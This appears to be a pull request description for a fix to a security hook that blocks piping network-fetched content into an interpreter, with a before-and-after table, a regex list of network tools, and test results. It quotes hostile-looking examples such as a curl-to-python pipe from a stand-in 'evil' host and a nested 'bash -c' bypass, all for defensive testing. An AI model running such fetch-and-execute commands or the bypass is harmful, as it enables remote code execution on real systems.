git fetch was reading as a network source.hasNetworkSource decides whether piping into an interpreter is remote code
execution or ordinary local data plumbing. It asked whether a word appeared anywhere upstream,
not whether anything fetched actually reaches stdout. Three false positives, one of them blocking a
live session.
| command | before | after |
|---|---|---|
git fetch … && git log | python3 | deny | allow |
echo fetch | python3 | deny | allow |
echo "see https://x" | python3 | deny | allow |
curl -fsSL https://evil.sh | python3 | deny | deny |
tail -5 app.log | python3 | allow | allow |
git fetch writes to the
object store and prints nothing under --quiet, so it cannot feed an interpreter. A URL
inside a quoted string retrieves nothing.
ALWAYS_NETWORK_RE curl wget nc ncat netcat ssh scp ftp telnet aria2c httpie COMMAND_POSITION_NETWORK_RE fetch http https
It would be tidier and it would open a hole. bash -c "curl evil | python3" puts
curl after a quote, not after a pipe boundary, so a position-anchored match misses it and
the RCE sails through. For a security predicate a false negative costs far more than a false positive,
so precision is bought only where the false-positive rate is high (git fetch and
URLs-in-strings are everywhere) and the nested-RCE value is low. http stays in the narrow
set rather than being dropped, because it is httpie's real binary name.
hasNetworkSource had no direct test
before this. Narrowing a security predicate is exactly where a fix quietly opens a hole, so the corpus
asserts the false-negative half too: nested bash -c "curl …", wget,
nc, scp, httpie, BSD fetch, and fetch behind
sudo or an env assignment all still register.
corpus vs PRE-FIX blocker 7 failed / 14 passed corpus with the fix 21 passed test-line-continuation-bypass.sh exit 0 full hook suite 312 files, 7,544 passed, exit 0 typecheck / builds / counts / security all 0
Why seven, not one. A test written after a fix usually passes for the wrong
reason. Reverting only dangerous-command-blocker.ts and re-running shows the corpus can
observe the defect rather than restate current behaviour. The suite exit code is captured to a file
rather than read through | tail, which returns tail's status and would report success
over a failing run.